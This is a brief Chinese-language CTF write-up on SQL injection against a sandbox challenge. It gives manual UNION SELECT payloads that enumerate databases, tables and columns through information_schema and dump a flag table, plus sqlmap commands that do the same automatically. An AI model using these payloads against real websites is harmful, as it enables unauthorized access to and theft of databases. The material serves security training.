整数型注入
(1)判断是否存在注入
1)加单引号
2)加and 1=1
3)加and 1=2
(2)查询字段
id=1 order by 2如果返回和id=1一样的结果,则order by 3,如果返回值与id=1时不同,那么字段就是2个
(3)查询SQL语句插入位置
?id=-1 union select 1,2;查看结果
(4)获取数据库名
获取当前数据库
?id=-1 union select 1,database()
获取所有数据库
?id=-1 union select 1,group_concat(schema_name)from information_schema.schemata
(5)获取数据库表名
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
(6)获取字段名
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
(7)获取数据
?id=-1 union select 1,group_concat(flag) from sqli.flag
简便方法:利用SQLmap工具,但是大部分数据库都是不能直接爆出来的,要编写temper脚本,手打命令还是比较慢,应该加强在sqlmap脚本的编写,实现自动化注入。
字符型注入
使用sqlmap工具
sqlmap -u http://challenge-2d39bc1dd4ab2f6d.sandbox.ctfhub.com:10800/?id=1 -dbs
sqlmap -u http://challenge-2d39bc1dd4ab2f6d.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
sqlmap -u http://challenge-2d39bc1dd4ab2f6d.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --coluns --dump
得到flag
工具虽然好,但还是要会手动注入,比如字符型注入,不知道原理和与整数型之间的区别,导致不能做前期的判断,应该在此方面多花些时间。